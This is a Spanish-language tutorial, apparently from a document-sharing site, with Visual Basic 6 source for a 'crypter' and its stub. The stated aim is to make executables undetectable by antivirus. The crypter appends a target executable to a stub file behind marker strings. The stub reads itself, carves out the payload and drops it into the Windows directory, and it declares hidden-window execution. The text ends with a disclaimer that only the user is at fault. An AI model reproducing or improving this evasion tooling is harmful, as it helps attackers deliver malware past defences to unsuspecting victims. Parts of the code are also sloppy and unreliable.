Sie sind auf Seite 1von 3

Índice:

1. Introducción
- ¿Qué es un Crypter?
- ¿De qué consta un Crypter?
2. Desarrollo del Crypter
3. Desarrollo del Stub
4. Despedida
---------------------------------------------------------------------------------------------------------------------------------
---------------
1. Introducción
-¿Qué es un Crypter?
Un Crypter es una herramienta capaz de añadir un stub a un archivo para que sea indetectable.

-¿De qué consta un Crypter?


Un Crypter conta del Crypter.exe y de un Stub.dll. Se podría hacer sin Stub pero es mas cómodo
con Stub.

2. Desarrollo del Crypter


'Creamos: '''
'2 CommandButtons '''
'1 TextBox '''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Declaramos unas variables:
Dim Ruta As String
Dim Firma As String, SubFirma As String

'En el envento click del comando examinar:


On Error Resume Next
CD.DialogTitle = "Selecciona el archivo a encriptar"
CD.FileName = ""
CD.ShowOpen
Text1.Text = CD.FileName

'En el evento click del comando encriptar:


If Text1.Text = "" Then
MsgBox "Introduzca la ruta del archivo a encriptar"
End
End If
CD.FileName = ""
CD.Filter = "*.exe|*.exe"
CD.ShowSave
Ruta = CD.FileName
Firma = "|By Ev3n|"
SubFirma = "|Urban Hack|"
FileCopy App.Path & "\Stub.dll", Ruta
Open Text1.Text For Binary As #1 '
Dim Archivo As String
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
Open Ruta For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , Firma
Put #1, , "l" & SubFirma
Put #1, , "Archivo" & SubFirma
Put #1, , "Windows" & SubFirma
Put #1, , Archivo
Close #1

3. Desarrollo del Stub


'Declaramos unas variables:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As
Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal
lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA"
(ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As
Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim Firma As String
Dim SubFirma As String

'Ruta:
Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName,
Len(ModuleName)))
Ruta = ModuleName
End Function

'En el evento load del form:


On Error Resume Next
Dim Archivo As String
Dim Nombre As String
Dim RutaExt As String
Dim Ejecutar As String

Firma = "|By Ev3n|"


SubFirma = "|Urban Hack|"

Open Ruta For Binary As #1


Dim Todo As String
Todo = Space(LOF(1))
Get #1, , Todo
Close #1

Dim Partes As Variant, SubPartes As Variant


Partes = Split(Todo, Firma)

For n = 1 To UBound(Partes)
SubPartes = Split(Partes(n), SubFirma)

For i = 0 To UBound(SubPartes)
Select Case i
Case 0
L0L = SubPartes(i)
Case 1
Nombre = SubPartes(i)
Case 2
Select Case SubPartes(i)
Case "Windows"
RutaExt = Environ("WINDIR")
End Select

Case 3
Ejecutar = SubPartes(i)
Case 4
Archivo = SubPartes(i)
End Select
Next i

Open RutaExt & "\" & Nombre For Binary As #1


Put #1, , Archivo
Close #1

4. Despedida
Gracias a todos los que han leido este manual y recuerden no es malo quien crea si no quien
utiliza.

Contacto: Ev3n@hotmail.es

Das könnte Ihnen auch gefallen